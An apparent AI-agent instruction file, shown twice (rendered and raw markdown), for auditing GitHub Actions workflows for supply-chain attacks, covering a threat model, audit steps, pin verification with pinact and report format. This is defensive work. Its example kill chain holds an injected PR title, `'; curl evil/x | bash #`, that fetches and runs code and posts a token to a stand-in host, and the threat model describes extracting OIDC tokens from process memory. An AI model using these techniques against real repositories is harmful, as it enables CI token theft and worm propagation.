Audit GitHub Actions
You are auditing public open-source workflows for supply-chain risk. The adversary is a real-world worm operator (Shai-Hulud, Nx s1ngularity, tj-actions, TanStack, qix). Treat every PR field as hostile input, every secret as bait, every third-party action as a potential supply-chain pivot.
Threat model
Modern attacks on public OSS chain together:
- Expression injection in privileged triggers —
${{ github.event.* }} from a PR title, comment, or branch name lands in a run: step under pull_request_target / issue_comment / workflow_run. The Nx s1ngularity vector.
- Cache poisoning across trust boundaries — a low-privilege
pull_request_target workflow writes into a cache scope that a high-privilege release workflow later restores from. permissions: contents: read does not block cache writes (the runner uses an internal token), and OIDC tokens minted with id-token: write are extractable from /proc/<pid>/mem during the privileged run. (TanStack, May 2026).
- Compromised third-party actions — tag mutability lets a force-pushed tag silently roll all consumers onto malicious code (tj-actions / reviewdog, March 2025).
- Install-time RCE —
preinstall / postinstall hooks running before any test or scan. Every npm worm in the catalogue.
- Self-propagation — stolen npm token enumerates the maintainer's other packages and republishes them with the same payload (Shai-Hulud, Shai-Hulud 2.0).
- CI persistence — malicious
.github/workflows/*.yml written into every repo the stolen GITHUB_TOKEN can reach; self-hosted runner registration for ongoing RCE.
- Public-by-design exfil — secrets pushed to attacker-owned public repos, victim-owned
*-migration repos, or double-base64 into public workflow logs.
Your job is to find the first link in any such chain that exists in this repo, and explain it as a kill chain the user can act on.
Audit flow
Run these steps in order. Steps 2a/2b/2c run in parallel.
Detect audit surface. Enumerate:
.github/workflows/*.yml and *.yaml
- Repo-root
action.yml / action.yaml (if the repo publishes an action)
- For each
run: block: scripts invoked via pnpm/npm/yarn/bun run X, bash X.sh, make X, just X → resolve to local files
Run in parallel:
- 2a. Spawn a sub-agent (Agent tool,
general-purpose) for historical & IOC sweep. Brief it with the contents of historical-audit.md. It returns a focused finding list.
- 2b. Detect deterministic tooling and run any that is installed. See tools.md.
- 2c. Load the per-surface docs you need (workflows.md, composite-actions.md, scripts.md). Walk the execution graph: read every workflow YAML, then every local file each one transitively references. Terminate the recursion at external binaries on PATH, at third-party action sources, and at network fetches (treat the latter as a finding).
Verify third-party action pin legitimacy. pinact run --check --verify is authoritative — it resolves each uses: owner/repo@<sha> # vX.Y.Z annotation against the GitHub API and flags any SHA that does not match the claimed version. This catches force-pushed tags and pins where the SHA points at a different commit than the comment claims, and it handles annotated-tag dereferencing internally. Run with GITHUB_TOKEN set to avoid rate limits. Mismatch or unpinned = High finding. pinact is a required tool — if it (or zizmor / actionlint) is missing, see tools.md and abort the audit with install instructions rather than skipping this step.
pinact does not cover two cases — the agent owns these:
- Pins missing a version-annotation comment.
pinact --verify only validates uses: owner/repo@<sha> # vX.Y.Z. Grep the workflow surface for uses: [^#]+@[0-9a-f]{40}\s*$ (no trailing comment) and flag each as Medium — the pin is opaque and cannot be audited without an annotation. Suggest the user add # vX.Y.Z and re-run.
- Owner liveness / repojacking. Once per unique
owner, run curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://github.com/<owner>. A 404 (namespace unclaimed) or 3xx redirect (owner renamed) means the action is repojackable — see workflows.md §14. Flag even when the pinned SHA still resolves, because future ref bumps are exposed.
Reason holistically. Load the relevant context (the workflow graph, the sub-docs) and synthesize attack paths. Pattern-matching alone misses xz-utils-style multi-stage payloads. Use checklist.md as a prompt for what to look for, incidents.md when an unfamiliar shape looks like a variant of a known attack.
Fold findings. Merge sub-agent + tooling + your own findings. Dedupe (same file:line + same pattern = one finding, multiple sources). Drop low-confidence noise.
Print the report. Severity-first (Critical → High → Medium → Low). For every finding emit:
- Pattern (one line)
- Locations (
file:line, multiple if applicable)
- Why it matters (one line, with a real-world incident anchor when one exists)
- Attacker repro / kill chain (concrete end-to-end steps an attacker takes —
attacker forks repo → opens PR titled ''; curl evil/x | bash #' → workflow lint.yml line 42 interpolates title into run: → token POSTed to evil → token used to republish on npm)
- Fix (snippet from remediation.md)
- Source (which input found it: agent / zizmor / actionlint / sub-agent)
- Refs (links to authoritative docs)
Stop. Do not edit workflows. Do not commit. Do not open PRs. The user decides what to do next.
Anti-noise rules
- Critical/High = real exploit paths only, with a concrete repro chain. If you cannot describe how an attacker exploits it, downgrade or drop it.
- Medium/Low go in a single "Additional observations" rollup, terse, no per-finding cards.
- No padding. No restating absences ("no
pull_request_target found, no self-hosted runners found"). If clean, say "No findings" and list the categories that were checked.
- Format the report naturally. Do not follow a rigid template — convey the fields above however reads best for the findings at hand.
Non-goals
- No CVE / license / code-quality audit (use
npm audit, Socket, Snyk for those).
- No edits, commits, PRs, or remote mutation (
gh api reads only).
- No recursion into third-party action source code — pin legitimacy is the boundary.
- No grades / scores / pass-fail. The findings speak for themselves.
- No false-positive suppression mechanism in v1; every run is independent.
Scope arg
If invoked without args, audit every surface in the repo. If invoked with a file path, audit only that file and its transitive references — but still spawn the historical sub-agent (the IOC sweep is repo-wide and cheap).
If invoked with a GitHub URL (e.g. https://github.com/<owner>/<repo> or git@github.com:<owner>/<repo>.git), audit a fresh clone instead of the current working tree.
Clone target: .audit-github-actions/<slug> under cwd, where <slug> = <owner>__<repo> (lowercase, strip trailing .git, strip any /tree/<ref> first). Use this literal path everywhere — never assign to a shell variable; $VAR expansion forces the rm hook to ask later, breaking AFK runs.
- Partial clone, all refs:
git clone --filter=blob:none <url> .audit-github-actions/<slug>. No --depth 1 / --single-branch — the IOC sub-agent (step 2a) needs every branch/tag for stale-workflow and git log --all sweeps. --filter=blob:none lazy-loads blobs; grep/log/for-each-ref still work transparently. If the dir already exists from a prior audit, run git -C .audit-github-actions/<slug> fetch --all --prune instead.
- If the URL points at
/tree/<ref>, after cloning run git -C .audit-github-actions/<slug> checkout <ref>. Keep all other refs.
- Run the audit against
.audit-github-actions/<slug>. Never cd into the clone — pass the path explicitly (git -C .audit-github-actions/<slug> …, actionlint .audit-github-actions/<slug>/.github/workflows/*.yml). cd path && cmd defeats the per-tool allowlist.
- Render
file:line paths as repo-relative (strip the .audit-github-actions/<slug>/ prefix). Note git -C .audit-github-actions/<slug> rev-parse HEAD in the report header so the audit is reproducible.
- Do not delete the clone. Leave it in place so re-audits can
fetch instead of re-clone. The user wipes the cache with rm -rf .audit-github-actions/ themselves; suggest they add .audit-github-actions/ to .gitignore (or ~/.gitignore_global) so it doesn't pollute git status.
Do not push, fetch additional refs beyond what step 1 needs, or write into the clone.
1---2name: audit-github-actions3description: Audit GitHub Actions workflows for supply-chain and CI/CD security vulnerabilities — script injection, expression injection, token exfiltration, unpinned actions, cache poisoning, and Shai-Hulud-class self-replicating worms. Use when the user asks to audit, review, or check the security of GitHub Actions, workflows, CI/CD pipelines, or asks about supply-chain risk, npm publish security, or Shai-Hulud.4---56# Audit GitHub Actions78You are auditing public open-source workflows for supply-chain risk. The adversary is a real-world worm operator (Shai-Hulud, Nx s1ngularity, tj-actions, TanStack, qix). Treat every PR field as hostile input, every secret as bait, every third-party action as a potential supply-chain pivot.910## Threat model1112Modern attacks on public OSS chain together:13141. **Expression injection in privileged triggers** — `${{ github.event.* }}` from a PR title, comment, or branch name lands in a `run:` step under `pull_request_target` / `issue_comment` / `workflow_run`. The Nx s1ngularity vector.152. **Cache poisoning across trust boundaries** — a low-privilege `pull_request_target` workflow writes into a cache scope that a high-privilege release workflow later restores from. `permissions: contents: read` does _not_ block cache writes (the runner uses an internal token), and OIDC tokens minted with `id-token: write` are extractable from `/proc/<pid>/mem` during the privileged run. (TanStack, May 2026).163. **Compromised third-party actions** — tag mutability lets a force-pushed tag silently roll all consumers onto malicious code (tj-actions / reviewdog, March 2025).174. **Install-time RCE** — `preinstall` / `postinstall` hooks running before any test or scan. Every npm worm in the catalogue.185. **Self-propagation** — stolen npm token enumerates the maintainer's other packages and republishes them with the same payload (Shai-Hulud, Shai-Hulud 2.0).196. **CI persistence** — malicious `.github/workflows/*.yml` written into every repo the stolen `GITHUB_TOKEN` can reach; self-hosted runner registration for ongoing RCE.207. **Public-by-design exfil** — secrets pushed to attacker-owned public repos, victim-owned `*-migration` repos, or double-base64 into public workflow logs.2122Your job is to find the **first link in any such chain** that exists in this repo, and explain it as a kill chain the user can act on.2324## Audit flow2526Run these steps in order. Steps 2a/2b/2c run in parallel.27281. **Detect audit surface.** Enumerate:29 - `.github/workflows/*.yml` and `*.yaml`30 - Repo-root `action.yml` / `action.yaml` (if the repo publishes an action)31 - For each `run:` block: scripts invoked via `pnpm/npm/yarn/bun run X`, `bash X.sh`, `make X`, `just X` → resolve to local files32332. **Run in parallel:**34 - **2a.** Spawn a sub-agent (Agent tool, `general-purpose`) for historical & IOC sweep. Brief it with the contents of [historical-audit.md](historical-audit.md). It returns a focused finding list.35 - **2b.** Detect deterministic tooling and run any that is installed. See [tools.md](tools.md).36 - **2c.** Load the per-surface docs you need ([workflows.md](workflows.md), [composite-actions.md](composite-actions.md), [scripts.md](scripts.md)). Walk the execution graph: read every workflow YAML, then every local file each one transitively references. Terminate the recursion at external binaries on PATH, at third-party action sources, and at network fetches (treat the latter as a finding).37383. **Verify third-party action pin legitimacy.** `pinact run --check --verify` is authoritative — it resolves each `uses: owner/repo@<sha> # vX.Y.Z` annotation against the GitHub API and flags any SHA that does not match the claimed version. This catches force-pushed tags and pins where the SHA points at a different commit than the comment claims, and it handles annotated-tag dereferencing internally. Run with `GITHUB_TOKEN` set to avoid rate limits. Mismatch or unpinned = High finding. `pinact` is a required tool — if it (or `zizmor` / `actionlint`) is missing, see [tools.md](tools.md) and abort the audit with install instructions rather than skipping this step.3940 `pinact` does not cover two cases — the agent owns these:41 - **Pins missing a version-annotation comment.** `pinact --verify` only validates `uses: owner/repo@<sha> # vX.Y.Z`. Grep the workflow surface for `uses: [^#]+@[0-9a-f]{40}\s*$` (no trailing comment) and flag each as Medium — the pin is opaque and cannot be audited without an annotation. Suggest the user add `# vX.Y.Z` and re-run.42 - **Owner liveness / repojacking.** Once per unique `owner`, run `curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://github.com/<owner>`. A `404` (namespace unclaimed) or `3xx` redirect (owner renamed) means the action is **repojackable** — see [workflows.md](workflows.md) §14. Flag even when the pinned SHA still resolves, because future ref bumps are exposed.43444. **Reason holistically.** Load the relevant context (the workflow graph, the sub-docs) and synthesize attack paths. Pattern-matching alone misses xz-utils-style multi-stage payloads. Use [checklist.md](checklist.md) as a prompt for what to look for, [incidents.md](incidents.md) when an unfamiliar shape looks like a variant of a known attack.45465. **Fold findings.** Merge sub-agent + tooling + your own findings. Dedupe (same file:line + same pattern = one finding, multiple sources). Drop low-confidence noise.47486. **Print the report.** Severity-first (Critical → High → Medium → Low). For every finding emit:49 - **Pattern** (one line)50 - **Locations** (`file:line`, multiple if applicable)51 - **Why it matters** (one line, with a real-world incident anchor when one exists)52 - **Attacker repro / kill chain** (concrete end-to-end steps an attacker takes — `attacker forks repo → opens PR titled ''; curl evil/x | bash #' → workflow lint.yml line 42 interpolates title into run: → token POSTed to evil → token used to republish on npm`)53 - **Fix** (snippet from [remediation.md](remediation.md))54 - **Source** (which input found it: agent / zizmor / actionlint / sub-agent)55 - **Refs** (links to authoritative docs)56577. **Stop.** Do not edit workflows. Do not commit. Do not open PRs. The user decides what to do next.5859## Anti-noise rules6061- Critical/High = real exploit paths only, with a concrete repro chain. If you cannot describe how an attacker exploits it, downgrade or drop it.62- Medium/Low go in a single "Additional observations" rollup, terse, no per-finding cards.63- No padding. No restating absences ("no `pull_request_target` found, no self-hosted runners found"). If clean, say "No findings" and list the categories that were checked.64- Format the report naturally. Do not follow a rigid template — convey the fields above however reads best for the findings at hand.6566## Non-goals6768- No CVE / license / code-quality audit (use `npm audit`, Socket, Snyk for those).69- No edits, commits, PRs, or remote mutation (`gh api` reads only).70- No recursion into third-party action source code — pin legitimacy is the boundary.71- No grades / scores / pass-fail. The findings speak for themselves.72- No false-positive suppression mechanism in v1; every run is independent.7374## Scope arg7576If invoked without args, audit every surface in the repo. If invoked with a file path, audit only that file and its transitive references — but still spawn the historical sub-agent (the IOC sweep is repo-wide and cheap).7778If invoked with a GitHub URL (e.g. `https://github.com/<owner>/<repo>` or `git@github.com:<owner>/<repo>.git`), audit a fresh clone instead of the current working tree.7980Clone target: `.audit-github-actions/<slug>` under cwd, where `<slug> = <owner>__<repo>` (lowercase, strip trailing `.git`, strip any `/tree/<ref>` first). Use this **literal** path everywhere — never assign to a shell variable; `$VAR` expansion forces the rm hook to ask later, breaking AFK runs.81821. **Partial clone, all refs**: `git clone --filter=blob:none <url> .audit-github-actions/<slug>`. **No `--depth 1` / `--single-branch`** — the IOC sub-agent (step 2a) needs every branch/tag for stale-workflow and `git log --all` sweeps. `--filter=blob:none` lazy-loads blobs; grep/log/for-each-ref still work transparently. If the dir already exists from a prior audit, run `git -C .audit-github-actions/<slug> fetch --all --prune` instead.832. If the URL points at `/tree/<ref>`, after cloning run `git -C .audit-github-actions/<slug> checkout <ref>`. Keep all other refs.843. Run the audit against `.audit-github-actions/<slug>`. **Never `cd` into the clone** — pass the path explicitly (`git -C .audit-github-actions/<slug> …`, `actionlint .audit-github-actions/<slug>/.github/workflows/*.yml`). `cd path && cmd` defeats the per-tool allowlist.854. Render `file:line` paths as repo-relative (strip the `.audit-github-actions/<slug>/` prefix). Note `git -C .audit-github-actions/<slug> rev-parse HEAD` in the report header so the audit is reproducible.865. **Do not delete the clone.** Leave it in place so re-audits can `fetch` instead of re-clone. The user wipes the cache with `rm -rf .audit-github-actions/` themselves; suggest they add `.audit-github-actions/` to `.gitignore` (or `~/.gitignore_global`) so it doesn't pollute `git status`.8788Do not push, fetch additional refs beyond what step 1 needs, or write into the clone.